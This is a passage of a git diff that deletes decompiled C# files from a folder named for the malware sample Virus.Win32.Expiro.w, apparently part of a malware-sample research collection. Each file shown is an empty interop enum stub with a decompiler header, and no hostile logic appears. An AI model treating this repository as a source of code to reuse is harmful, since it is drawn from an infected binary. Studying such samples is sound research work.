C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagACTIVATEFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagADVF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagADVF.cs deleted file mode 100644 index df357af4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagADVF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagADVF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagADVF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagApplicationType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagApplicationType.cs deleted file mode 100644 index 90b5dd56..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagApplicationType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagApplicationType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagApplicationType -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagAspectInfoFlag.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagAspectInfoFlag.cs deleted file mode 100644 index 0242f90a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagAspectInfoFlag.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagAspectInfoFlag -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagAspectInfoFlag -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBANDSITECID.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBANDSITECID.cs deleted file mode 100644 index 2eee705c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBANDSITECID.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBANDSITECID -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBANDSITECID -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSPEED.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSPEED.cs deleted file mode 100644 index cc2e4459..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSPEED.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSPEED -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBINDSPEED -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSTATUS.cs deleted file mode 100644 index 1b0d4699..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagBINDSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSTRING.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSTRING.cs deleted file mode 100644 index bc48b766..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSTRING.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBINDSTRING -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagBINDSTRING -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBIND_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBIND_FLAGS.cs deleted file mode 100644 index d5843152..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBIND_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBIND_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagBIND_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBROWSERFRAMEOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBROWSERFRAMEOPTIONS.cs deleted file mode 100644 index 89b7a00c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBROWSERFRAMEOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagBROWSERFRAMEOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagBROWSERFRAMEOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCALLCONV.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCALLCONV.cs deleted file mode 100644 index b2265ea7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCALLCONV.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCALLCONV -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCALLCONV -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCALLTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCALLTYPE.cs deleted file mode 100644 index 1bd87516..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCALLTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCALLTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCALLTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCATEGORYINFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCATEGORYINFO_FLAGS.cs deleted file mode 100644 index eb050b27..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCATEGORYINFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCATEGORYINFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCATEGORYINFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCATSORT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCATSORT_FLAGS.cs deleted file mode 100644 index bfaca51f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCATSORT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCATSORT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagCATSORT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCDBURNINGEXTENSIONACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCDBURNINGEXTENSIONACTION.cs deleted file mode 100644 index 914e7ddd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCDBURNINGEXTENSIONACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCDBURNINGEXTENSIONACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagCDBURNINGEXTENSIONACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCDBURNINGEXTENSIONRET.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCDBURNINGEXTENSIONRET.cs deleted file mode 100644 index 53250c42..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCDBURNINGEXTENSIONRET.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCDBURNINGEXTENSIONRET -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCDBURNINGEXTENSIONRET -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCHANGEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCHANGEKIND.cs deleted file mode 100644 index 3b65bd08..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCHANGEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCHANGEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagCHANGEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCLSCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCLSCTX.cs deleted file mode 100644 index 2af70fe3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCLSCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCLSCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCLSCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOINIT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOINIT.cs deleted file mode 100644 index bc17a02b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOINIT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOINIT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCOINIT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOMSD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOMSD.cs deleted file mode 100644 index 3288fac2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOMSD.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOMSD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCOMSD -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCONDITION_OPERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCONDITION_OPERATION.cs deleted file mode 100644 index d777a2a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCONDITION_OPERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCONDITION_OPERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCONDITION_OPERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCONDITION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCONDITION_TYPE.cs deleted file mode 100644 index e1aa3fd4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCONDITION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCONDITION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagCONDITION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOWAIT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOWAIT_FLAGS.cs deleted file mode 100644 index 9c7f3970..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOWAIT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCOWAIT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagCOWAIT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCPVIEW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCPVIEW.cs deleted file mode 100644 index 86ebfba3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCPVIEW.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCPVIEW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCPVIEW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCTRLINFO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCTRLINFO.cs deleted file mode 100644 index edaea646..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCTRLINFO.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagCTRLINFO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagCTRLINFO -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDATADIR.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDATADIR.cs deleted file mode 100644 index 0fd8cb90..00000000 --- 